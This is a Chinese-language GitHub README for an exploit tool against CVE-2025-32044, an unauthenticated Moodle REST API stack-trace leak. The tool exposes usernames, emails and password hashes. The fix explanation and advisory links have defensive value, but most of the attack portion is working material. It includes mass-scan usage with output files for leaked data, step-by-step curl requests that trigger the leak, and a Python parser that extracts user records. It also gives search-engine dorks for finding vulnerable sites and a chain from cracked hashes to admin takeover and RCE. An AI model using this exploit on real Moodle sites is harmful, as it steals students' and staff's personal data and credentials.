shinthink/CVE-2025-32044

GitHub: shinthink/CVE-2025-32044

针对 Moodle LMS REST API 堆栈跟踪参数泄露漏洞(CVE-2025-32044)的自动化检测与利用工具,可在无需认证的情况下批量验证目标是否泄露用户敏感数据。

Stars: 0 | Forks: 0

CVE-2025-32044 — Moodle 未授权 REST API 用户数据泄露

堆栈跟踪参数泄露 → 姓名、电子邮件、密码哈希

## 概述 **CVE-2025-32044** 是 **Moodle LMS 4.5.0 至 4.5.2** 中一个高危(CVSS 7.5)的**未授权**信息泄露漏洞。 该漏洞存在于 Moodle 的 REST API 异常处理程序中,即 `lib/classes/router/response/exception_response.php` 文件内的 `exception_response::get_payload_data()` 方法。在修复之前,API 错误响应中包含了带有**函数参数**的 PHP 堆栈跟踪。这些参数包含了流经调用堆栈的敏感用户数据,包括用户名、全名、电子邮件地址和密码哈希。 **无需身份验证、token 或用户交互**即可触发此泄露。攻击者只需向任何 REST API endpoint 发送格式错误的请求,从而引发内部异常即可。 ### 受影响版本 | Moodle 版本 | 状态 | |---|---| | 4.5.0 – 4.5.2 | 存在漏洞 | | 4.5.3+ | 已修复 | | < 4.5.0 | 不受影响 | | 所有设置了 `zend.exception_ignore_args = On` 的版本 | 不受影响 | ## 漏洞机制 ### 根本原因 ``` // lib/classes/router/response/exception_response.php (BEFORE fix) protected static function get_payload_data(...): array { $data = [ 'message' => $exception->getMessage(), 'stacktrace' => $exception->getTrace(), // ← includes 'args'! ]; return $data; } ``` 当 REST API 处理过程中发生异常时,PHP 堆栈跟踪会包含调用堆栈中每个栈帧的**函数参数**(`args`)。这些参数无意中包含了正在被调用链上层函数处理的用户表数据。 ### 修复方案 (Moodle 4.5.3) ``` // lib/classes/router/response/exception_response.php (AFTER fix) 'stacktrace' => array_map( fn ($frame): array => array_filter( $frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY ), $exception->getTrace(), ), ``` 此外在 `lib/setup.php` 中进行了纵深防御: ``` ini_set('zend.exception_ignore_args', '1'); ``` ### 攻击流程 ``` 1. Target Moodle 4.5.0-4.5.2 without zend.exception_ignore_args 2. Send malformed request to /webservice/rest/server.php (e.g., core_user_get_users_by_field with missing required params) 3. Internal exception triggered during user data processing 4. API error response includes stack trace with 'args' 5. Parse args for usernames, emails, hashes ``` ### 泄露的数据 | 字段 | 来源 | |---|---| | 用户名 | `user` 表 | | 全名 | `firstname` + `lastname` | | 电子邮件 | `email` 列 | | 密码哈希 | bcrypt `$2y$` / `$2b$` 哈希 | | 最后登录 IP | `lastip` 列 | | 用户 ID | `id` 列 | ## 安装 ``` git clone https://github.com/shinthink/CVE-2025-32044.git cd CVE-2025-32044 pip install -r requirements.txt ``` ## 用法 ``` # 单一目标扫描 python cve_2025_32044.py -t moodle.target.com # Mass scan python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt # 使用更多线程的 Mass scan python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt # Debug mode python cve_2025_32044.py -t moodle.target.com --debug -v ``` ### 参数 ``` -t, --target Single target (domain or IP) -f, --file Target list, one per line -o, --output Save leaked user data to file --threads Concurrent workers (default: 30) --timeout Request timeout in seconds (default: 10) --debug Show every HTTP request -v, --verbose Verbose output ``` ## 概念验证 ### 单一目标 ``` $ python cve_2025_32044.py -t moodle-target.com ``` ``` Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5 Host : moodle-target.com Moodle : YES v4.5.1 WS Enabled : YES Token : obtained (admin) ═══ DATA LEAKED ═══ admin | admin@university.ac.id jsmith | john.smith@university.ac.id mjones | mary.jones@university.ac.id Emails: 3 Hashes: 3 $2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz... Time : 3.2s ``` ### 批量扫描 ``` Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5 Targets: 500 | Threads: 30 | Mode: QUIET [LEAK] moodle-vuln-01.ac.id users=15 emails=12 hashes=15 [WS] moodle-patched-02.edu token=admin [!] moodle-no-ws-03.org [150/500] 30% | Det:87 WS:32 Tok:8 Leak:5 ─────────────────────────────────────────────────────── Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5 ``` ### 手动利用 **第 1 步 — 检测 Moodle + Web Services** ``` # 检查 Moodle curl -sk 'https://target.com/login/index.php' | grep -i moodle # 检查 web services curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app' # {"token":"abc..."} = WS 已启用 + 可能允许 guest access # {"error":"Web services must be enabled..."} = WS 已禁用 ``` **第 2 步 — 获取 token(如果可能)** ``` curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app' ``` **第 3 步 — 触发异常并捕获泄露信息** ``` curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id' # 如果存在漏洞,Response 将包含带有 args 的 stacktrace ``` **第 4 步 — 解析泄露的数据** ``` import json, requests r = requests.get('https://target.com/webservice/rest/server.php', params={ 'wsfunction': 'core_user_get_users_by_field', 'moodlewsrestformat': 'json', 'field': 'id' }) data = r.json() for frame in data.get('stacktrace', []): for arg in frame.get('args', []): if isinstance(arg, dict) and 'username' in arg: print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}") ``` ## 检测 (Shodan / FOFA) ``` FOFA: body="moodle" && body="login/token.php" Shodan: http.title:"Moodle" http.component:"Moodle" Google: intitle:"Moodle" inurl:"login/token.php" ``` ## 影响 成功利用该漏洞可导致: - **用户枚举** — 完整的 Moodle 用户列表 - **电子邮件地址** — 钓鱼、撞库攻击 - **密码哈希** — 离线破解 → 账户接管 - **最后登录 IP** — 用户位置追踪 - 攻击链:破解哈希 → 登录 → 提权至管理员 → 模板编辑 → RCE ## 免责声明 ## 参考资料 | 资源 | 链接 | |---|---| | Moodle 安全公告 MSA-25-0011 | [moodle.org](https://moodle.org/mod/forum/discuss.php?d=467084) | | Moodle Tracker MDL-84879 | [tracker.moodle.org](https://tracker.moodle.org/browse/MDL-84879) | | Git Commit (修复) | [github.com/moodle/moodle/commit/41917db65e6b](https://github.com/moodle/moodle/commit/41917db65e6b3dba3bf3d805a8599e6752655646) | | NVD 条目 | [CVE-2025-32044](https://nvd.nist.gov/vuln/detail/CVE-2025-32044) | | 发现者 | Lucas Alonso |

本项目与 Moodle Pty Ltd 无关。

标签:CVE-2025-32044, Moodle, Python, REST API, 信息泄露, 实时处理, 无后门, 逆向工具